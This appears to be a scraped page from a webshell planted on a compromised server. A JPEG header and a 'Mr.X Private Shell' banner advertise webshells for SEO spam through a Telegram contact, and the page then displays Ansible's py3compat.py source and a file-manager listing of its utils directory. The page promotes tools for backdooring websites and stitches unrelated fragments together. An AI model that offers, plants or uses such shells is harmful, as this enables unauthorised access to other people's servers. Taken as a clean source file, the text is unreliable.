����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# -*- coding: utf-8 -*-
#
# (c) 2018, Toshio Kuratomi <a.badger@gmail.com>
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
#
# Note that the original author of this, Toshio Kuratomi, is trying to submit this to six. If
# successful, the code in six will be available under six's more liberal license:
# https://mail.python.org/pipermail/python-porting/2018-July/000539.html
# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
import os
import sys
from collections.abc import MutableMapping
from ansible.module_utils.six import PY3
from ansible.module_utils._text import to_bytes, to_text
__all__ = ('environ',)
class _TextEnviron(MutableMapping):
"""
Utility class to return text strings from the environment instead of byte strings
Mimics the behaviour of os.environ on Python3
"""
def __init__(self, env=None, encoding=None):
if env is None:
env = os.environ
self._raw_environ = env
self._value_cache = {}
# Since we're trying to mimic Python3's os.environ, use sys.getfilesystemencoding()
# instead of utf-8
if encoding is None:
# Since we're trying to mimic Python3's os.environ, use sys.getfilesystemencoding()
# instead of utf-8
self.encoding = sys.getfilesystemencoding()
else:
self.encoding = encoding
def __delitem__(self, key):
del self._raw_environ[key]
def __getitem__(self, key):
value = self._raw_environ[key]
if PY3:
return value
# Cache keys off of the undecoded values to handle any environment variables which change
# during a run
if value not in self._value_cache:
self._value_cache[value] = to_text(value, encoding=self.encoding,
nonstring='passthru', errors='surrogate_or_strict')
return self._value_cache[value]
def __setitem__(self, key, value):
self._raw_environ[key] = to_bytes(value, encoding=self.encoding, nonstring='strict',
errors='surrogate_or_strict')
def __iter__(self):
return self._raw_environ.__iter__()
def __len__(self):
return len(self._raw_environ)
environ = _TextEnviron(encoding='utf-8')
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| collection_loader | Folder | 0755 |
|
|
| __init__.py | File | 833 B | 0644 |
|
| _junit_xml.py | File | 8.53 KB | 0644 |
|
| cmd_functions.py | File | 2.16 KB | 0644 |
|
| color.py | File | 4.01 KB | 0644 |
|
| context_objects.py | File | 3.05 KB | 0644 |
|
| display.py | File | 18.99 KB | 0644 |
|
| encrypt.py | File | 10.26 KB | 0644 |
|
| fqcn.py | File | 1.24 KB | 0644 |
|
| galaxy.py | File | 3.82 KB | 0644 |
|
| hashing.py | File | 2.84 KB | 0644 |
|
| helpers.py | File | 1.8 KB | 0644 |
|
| jsonrpc.py | File | 3.74 KB | 0644 |
|
| listify.py | File | 1.67 KB | 0644 |
|
| lock.py | File | 1.36 KB | 0644 |
|
| multiprocessing.py | File | 698 B | 0644 |
|
| native_jinja.py | File | 346 B | 0644 |
|
| path.py | File | 5.74 KB | 0644 |
|
| plugin_docs.py | File | 14.74 KB | 0644 |
|
| py3compat.py | File | 2.35 KB | 0644 |
|
| sentinel.py | File | 2.4 KB | 0644 |
|
| shlex.py | File | 1.25 KB | 0644 |
|
| singleton.py | File | 949 B | 0644 |
|
| ssh_functions.py | File | 2.23 KB | 0644 |
|
| unicode.py | File | 1.14 KB | 0644 |
|
| unsafe_proxy.py | File | 12.43 KB | 0644 |
|
| vars.py | File | 9.9 KB | 0644 |
|
| version.py | File | 7.65 KB | 0644 |
|